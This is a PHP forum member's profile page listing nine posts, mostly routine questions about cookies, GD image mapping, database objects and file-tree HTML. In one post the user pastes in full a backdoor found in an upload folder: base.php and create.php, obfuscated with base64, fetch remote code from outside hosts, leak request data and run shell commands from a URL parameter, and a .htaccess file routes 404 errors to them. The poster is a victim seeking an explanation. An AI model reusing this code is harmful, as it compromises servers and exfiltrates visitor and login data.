Jump to content

pbjorge12

Members
  • Posts

    9
  • Joined

  • Last visited

    Never

Profile Information

  • Gender
    Not Telling

pbjorge12's Achievements

Newbie

Newbie (1/5)

0

Reputation

  1. Can anyone recommend me an AWESOME cookie handling class for PHP 4? Some features that'd be nice... 1. Set, Get, and delete cookies 2. Multiple cookies in one cookie (I think its called serialization) Or should I learn how to use sessions or find a session class instead of cookies? Thanks
  2. Well...After doing some reasearch this is an exploit that works with directories with 777 permissions (Which mine is). I am still looking for a fix...
  3. Its VERY scary... If I don't get this figured out I'm gonna be up ALL night!
  4. Hey...I'm a little worried about this odd problem that has begun to show up - Can anyone tell me what it means? Today I went through a folder of mine on my server called uploadedImages that stores images users uploaded. I check the mime type to prevent other files from being added...The strange thing was I found 2 .php files and a .htaccess file in each subfolder (thumb, smallThumb, and Full). I will include the "full" folder's files... base.php [code]<?php error_reporting(0); if(isset($_POST["l"]) and isset($_POST["p"])){     if(isset($_POST["input"])){$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}     else{$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];} }else{$user_auth="";} if(!isset($_POST["log_flg"])){$log_flg="&log";} if(! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg)) {     if(isset($_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}     if($_POST["l"]=="special"){print "sys_active". `uname -a`;} } ?> [/code] Create.php [code]<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s"; if ((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjkubXNodG1sLnJ1")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcuaHRtbHRhZ3MucnU=")."/?".$str);} ?> [/code] .htaccess [code]Options -MultiViews ErrorDocument 404 //uploadedImages/cover/full/create.php [/code] Note: Different file name's with different content were in eac folder... Note2: The files were created by "nobody" the default apache user... Is this normal? What is it? What is its purpose?
  5. Thank you for the example... The problem is I need to "skew" the image (Sorry if wrong term was used). The DVD cover is a 1600x1074 rectangle and I need it to fit on the white part of the template. I can't just place the dvd cover over the background image and call it done. I need to put the dvd cover's (0,0) over the template's (60,75) as well as well as the dvd cover's (0,1074) at the template's (642,60). I have 12 points total that I need to map - That is what I don't know how to do...
  6. At another forum someone said the same thing... Right now I just don't understand how to map the points (I have read over the GD function's summaries)...
  7. I have this image below and I would like to map a dvd cover to it... [a href=\"http://img165.imageshack.us/my.php?image=layout2alphaa4fj.jpg\" target=\"_blank\"][img src=\"http://img165.imageshack.us/img165/5279/layout2alphaa4fj.th.jpg\" border=\"0\" alt=\"IPB Image\" /][/a] Let me give you the info... The dvd cover is always 1600x1074 and I the spine is always 70 pixels wide... I know the exact x/y coordinates of the "template" - For instance, I would need to map the dvd cover's (0, 0) with the template's (60,75). Do you understand what I want to do? How would I do this in PHP (What functions would I use etc.)?
  8. I am wodnering what the best way is too do this... I have an sql class (ezsql) and an authentication class that gets its data from a database. What is the best way to get the authentication class to use the sql class used throughout the rest of the site? Would it be to pass the sql object in the authentication class's constructor?
  9. I have a PHP function that recieves a file path and returns an array like below... [code] Array (    [index.php] => /usr/local/www/index.php    [js] => Array        (            [async.js] => /usr/local/www/js/async.js            [dom.js] => /usr/local/www/js/dom.js            [effects.js] => /usr/local/www/js/effects.js            [prototype.js] => /usr/local/www/js/prototype.js        )    [logo.png] => /usr/local/www/logo.png    [server.php] => /usr/local/www/server.php    [test.js] => /usr/local/www/test.js ) [/code] How do I sort through that array and return the HTML similar to below? [code] <ul id="fileList"> <li id="firstLevel">index.php</li> <li id="firstLevel">js</li> <li id="secondLevel">asnyc.js</li> <li id="secondLevel">dom.js</li> <li id="secondLevel">effects.js</li> <li id="secondLevel">prototype.js</li> <li id="firstLevel">logo.png</li> <li id="firstLevel">server.php</li> <li id="firstLevel">test.js</li> </ul> [/code] Thank you!
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.